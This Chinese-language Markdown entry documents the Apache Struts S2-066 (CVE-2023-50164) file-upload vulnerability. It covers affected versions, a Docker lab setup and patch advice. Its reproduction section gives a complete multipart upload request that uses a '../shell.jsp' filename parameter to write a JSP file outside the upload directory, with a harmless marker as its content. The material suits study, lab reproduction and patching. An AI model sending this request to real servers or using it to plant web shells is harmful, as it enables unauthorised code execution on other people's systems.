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119 lines
4.1 KiB
Markdown
119 lines
4.1 KiB
Markdown
# Apache Struts S2-066 远程代码执行漏洞 CVE-2023-50164
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## 漏洞描述
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Apache Struts2 是一个开源的 Java Web 应用程序开发框架，旨在帮助开发人员构建灵活、可维护和可扩展的企业级 Web 应用程序。
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该漏洞存在于 Apache Struts 中，是一个代码执行漏洞。攻击者可以操纵文件上传参数来执行路径遍历，进而上传可用于执行远程代码执行的恶意文件。
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参考链接：
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- [Apache Struts2 文件上传分析(S2-066)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/ )
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- https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker
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## 漏洞影响
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```
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Struts 2.0.0-2.3.37
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Strust 2.5.0-2.5.32
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Strust 6.0.0-6.3.0
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```
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## 环境搭建
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通过项目 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker) 搭建一个 Struts 6.3.0 漏洞环境：
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```
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git clone https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker.git
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cd CVE-2023-50164-ApacheStruts2-Docker
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docker build --ulimit nofile=122880:122880 -m 3G -t cve-2023-50164 .
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docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2023-50164 cve-2023-50164
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```
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可更新 maven 源加速构建，在 Dockerfile 同级目录创建一个自定义的 settings.xml：
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```
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<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
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xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
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http://maven.apache.org/xsd/settings-1.0.0.xsd">
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<mirrors>
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<mirror>
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<id>aliyun-maven</id>
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<mirrorOf>central</mirrorOf>
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<name>Aliyun Maven</name>
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<url>https://maven.aliyun.com/repository/central</url>
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</mirror>
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</mirrors>
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</settings>
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```
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在 Dockerfile 中新增一行，将自定义的 `settings.xml` 复制到 Maven 的配置目录中，替换默认文件：
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```
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COPY settings.xml /root/.m2/settings.xml
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```
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重新执行 `docker build` 与 `docker run` 即可。
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通过 `curl` 验证服务是否启动：
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```
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curl http://your-ip:8080/upload.action
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```
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或访问 `http://your-ip:8080/upload.action` 查看上传页面。
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## 漏洞复现
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在该环境中做了文件后缀限制，只能上传图片，不允许直接上传 `.jsp` 文件：
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根据 HashMap 中存储的调用顺序构造 payload：
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```
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POST /upload.action HTTP/1.1
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Host: your-ip:8080
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Content-Length: 319
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Cache-Control: max-age=0
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Origin: http://your-ip:8080
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfZRVTHWYyGlXGAeY
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Referer: http://your-ip:8080/upload.action
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en
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Cookie: JSESSIONID=ED2FB48CE518AF954B3EA4F97AC1FF17
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Connection: keep-alive
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------WebKitFormBoundaryfZRVTHWYyGlXGAeY
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Content-Disposition: form-data; name="Upload"; filename="test.png"
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Content-Type: image/png
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<%= "awesome_poc" %>
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------WebKitFormBoundaryfZRVTHWYyGlXGAeY
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Content-Disposition: form-data; name="uploadFileName";
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../shell.jsp
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------WebKitFormBoundaryfZRVTHWYyGlXGAeY--
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```
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访问上传文件：
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```
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http://your-ip:8080/shell.jsp
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```
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## 漏洞修复
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根据 `漏洞影响` 中的信息，排查并升级到 `安全版本`，或直接访问参考链接获取官方更新指南，[https://struts.apache.org/download.cgi](https://struts.apache.org/download.cgi)。
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